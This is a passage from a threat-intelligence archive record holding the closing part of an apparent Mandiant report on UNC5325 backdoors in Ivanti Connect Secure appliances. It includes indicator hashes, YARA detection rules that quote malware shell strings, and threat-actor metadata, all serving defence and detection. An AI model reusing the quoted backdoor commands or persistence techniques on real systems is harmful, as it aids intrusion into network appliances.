to\r\nreceive a socket forwarded by PITHOOK after receiving the predefined magic byte sequence. Then PITSTOP\r\nduplicates the socket for further communication over TLS. When the TLS connection is established, PITSTOP\r\nuses Base64 and a hard-coded AES key to evaluate the incoming command. It supports shell command execution,\r\nfile write, and file read on the compromised appliance.\r\nOutlook and Implications\r\nUNC5325’s TTPs and malware deployment showcase the capabilities that suspected China-nexus espionage\r\nactors have continued to leverage against edge infrastructure in conjunction with zero days. Similar to UNC4841’s\r\nfamiliarity with Barracuda ESGs, UNC5325 demonstrates significant knowledge of the Ivanti Connect Secure\r\nappliance as seen in both the malware they used and the attempts to persist across factory resets. Mandiant expects\r\nUNC5325 as well as other China-nexus espionage actors to continue to leverage zero day vulnerabilities on\r\nnetwork edge devices as well as appliance-specific malware to gain and maintain access to target environments.\r\nThe material in this blog post is being shared as cyber threat indicators and defensive measures solely for cybersecurity purposes in accordance with the Cybersecurity\r\nInformation Sharing Act of 2015 (“CISA/2015”).  This information is subject to the provisions of CISA/2015, including 6 U.S. Code § 1504(d)(1).\r\nIndicators of Compromise (IOCs)\r\nHost-Based Indicators (HBIs)\r\nFilename MD5 Description\r\nDSUserAgentCap.pm e4fe3a314a3aee5aee9c55787a33671c BUSHWALK activator / deactivator\r\nquerymanifest.cgi e48716521dc48425feae71bc9dc768cd BUSHWALK variant\r\ndiskCounters 8c4b32e8ee9e0b2f8dab01364971ffff Dropper for DSUserAgentCap.pm\r\ndiskmonitor e33a3a90f1f8fa6d8f17bc6151b027d6 Encrypted DSUserAgentCap.pm\r\ndiskAnalysis 6c58b8b1e3b36a5a124afd110c109ebc Encrypted BUSHWALK variant\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 15 of 19\n\nFilename MD5 Description\r\nplugin.jar b76d7890a7a7ff6d0b1151a8251e318f PITFUEL SparkGateway plugin\r\ngateway.conf 9e0941c4851d414b5d25dd15872c3e47 SparkGateway config to load PITFUEL\r\nlibchilkat.so fd83b3e9db57838b62c5baf8218ce5a8 LITTLELAMB.WOOLTEA backdoor\r\nlibaprhelper.so 2ddeca6511506fe435dc1f63b4cf061c PITSOCK backdoor\r\nsecurity.jar f64a799ff16aded3f4d6706ffbd7e6dd PITDOG SparkGateway plugin\r\ngateway.conf fb973c8bbfdba234ea83ee20084dcac9 SparkGateway config to load PITDOG\r\nmem.rd 5368b1122c10fa7850f44d3e16fc18fb PITHOOK backdoor\r\nmemorysCounter 31a591a28198f05e9ab4d12609a9ce81 Kubo Injector\r\ndsAgent 5f561f217a8046de8cadf418ef4dfda0 PITSTOP backdoor\r\nwd.fd N/A Unix domain socket for PITSTOP\r\nwd.lock N/A Mutex for PITSTOP\r\nTable 3: Host-based indicators\r\nYARA Rules\r\nrule M_Launcher_PITDOG_1 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"This rule is designed to detect on events\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 16 of 19\n\nrelated to PITDOG.\"\r\nstrings:\r\n$str2 = \"cat /proc/%d/maps | grep mem.rd\"\r\n$str3 = \"/data/runtime/cockpit/memorysCounter\r\n-p %d /data/runtime/cockpit/mem.rd\"\r\n$str4 = \"rm -f /data/runtime/cockpit/wd.lock\"\r\n$str5 = \"/data/runtime/cockpit/dsAgent\"\r\n$str6 = \"watchdog\"\r\n$str7 = \"ps aux|grep '/home/bin/web'|grep -v grep\r\n| awk '{if (NR!=1) {print $2}}'\"\r\ncondition:\r\nuint32(0) == 0xBEBAFECA and all of them\r\n}\r\nrule M_Utility_PITHOOK_1 {\r\n meta:\r\n author = \" Mandiant\"\r\n description = \"This rule is designed to detect on events\r\nrelated to PITHOOK.\"\r\nstrings:\r\n$str1 = \"/data/runtime/cockpit/wd.fd\"\r\n$str2 = \"/proc/self/maps\"\r\n$str3 = \"plthook_open\"\r\n$str4 = \"plthook_replace\"\r\n$str5 = \"plthook_close\"\r\n$str6 = \"plthook_open_by_handle\"\r\n$str7 = \"plthook_open_by_address\"\r\n$str8 = \"plthook_enum\"\r\n$str9 = \"plthook_error\"\r\n$str10 = \"accept4_hook\"\r\ncondition:\r\nuint32(0) == 0x464C457F and all of them\r\n}\r\nrule M_Hunting_Webshell_BUSHWALK_1 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"This rule detects BUSHWALK, a webshell\r\nwritten in Perl CGI that is embedded into a legitimate\r\nPulse Secure file to enable file transfers\"\r\n strings:\r\n $s1 = \"SafariiOS\" ascii\r\n $s2 = \"command\" ascii\r\n $s3 = \"change\" ascii\r\n $s4 = \"update\" ascii\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 17 of 19\n\n$s5 = \"$data = RC4($key, $data);\" ascii\r\n condition:\r\n filesize \u003c 5KB\r\n and all of them\r\n}\r\nrule M_Hunting_Launcher_PITFUEL_1 {\r\n meta:\r\nauthor = \"Mandiant\"\r\ndescription = \"This rule detects class used in\r\nPITFUEL, a malicious JAR-based launcher that loads malicious code\"\r\nstrings:\r\n$h1 = {50 4B 03 04}\r\n$s1 = \"com/toremote/gateway/plugin/PluginManager.class\"\r\ncondition:\r\n$h1 at 0 and for any i in (0..#h1): ($s1 in (@h1[i]..@h1[i]+80))\r\n}\r\nMandiant Security Validation Actions\r\nVID Name\r\nA106-935 Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1\r\nA106-934 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1\r\nA106-936 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2\r\nA106-986 Application Vulnerability - CVE-2024-21893, Exploitation, Variant #1\r\nA107-055 Application Vulnerability - CVE-2024-22024, Exploitation, Variant #1\r\nA107-060 Malicious File Transfer - BUSHWALK, Download, Variant #1\r\nPosted in\r\nThreat Intelligence\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 18 of 19\n\nSource: https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"MITRE",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"
	],
	"report_names": [
		"investigating-ivanti-exploitation-persistence"
	],
	"threat_actors": [
		{
			"id": "fe95d824-b40b-42a0-8efd-fa3af8456d14",
			"created_at": "2024-03-21T02:00:04.692668Z",
			"updated_at": "2026-04-10T02:00:03.601506Z",
			"deleted_at": null,
			"main_name": "UNC5325",
			"aliases": [],
			"source_name": "MISPGALAXY:UNC5325",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "9df8987a-27fc-45c5-83b0-20dceb8288af",
			"created_at": "2025-10-29T02:00:51.836932Z",
			"updated_at": "2026-04-10T02:00:05.253487Z",
			"deleted_at": null,
			"main_name": "UNC3886",
			"aliases": [
				"UNC3886"
			],
			"source_name": "MITRE:UNC3886",
			"tools": [
				"MOPSLED",
				"VIRTUALPIE",
				"CASTLETAP",
				"THINCRUST",
				"VIRTUALPITA",
				"RIFLESPINE"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "a08d93aa-41e4-4eca-a0fd-002d051a2c2d",
			"created_at": "2024-08-28T02:02:09.711951Z",
			"updated_at": "2026-04-10T02:00:04.957678Z",
			"deleted_at": null,
			"main_name": "UNC3886",
			"aliases": [
				"Fire Ant"
			],
			"source_name": "ETDA:UNC3886",
			"tools": [
				"BOLDMOVE",
				"CASTLETAP",
				"LOOKOVER",
				"MOPSLED",
				"RIFLESPINE",
				"TABLEFLIP",
				"THINCRUST",
				"Tiny SHell",
				"VIRTUALGATE",
				"VIRTUALPIE",
				"VIRTUALPITA",
				"VIRTUALSHINE",
				"tsh"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "1c91699d-77d3-4ad7-9857-9f9196ac1e37",
			"created_at": "2023-11-04T02:00:07.663664Z",
			"updated_at": "2026-04-10T02:00:03.385989Z",
			"deleted_at": null,
			"main_name": "UNC3886",
			"aliases": [],
			"source_name": "MISPGALAXY:UNC3886",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-10T02:00:03.325163Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434760,
	"ts_updated_at": 1775826687,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c09530e0a702e0e4559216e5b0fb372b353232e6.pdf",
		"text": "https://archive.orkl.eu/c09530e0a702e0e4559216e5b0fb372b353232e6.txt",
		"img": "https://archive.orkl.eu/c09530e0a702e0e4559216e5b0fb372b353232e6.jpg"
	}
}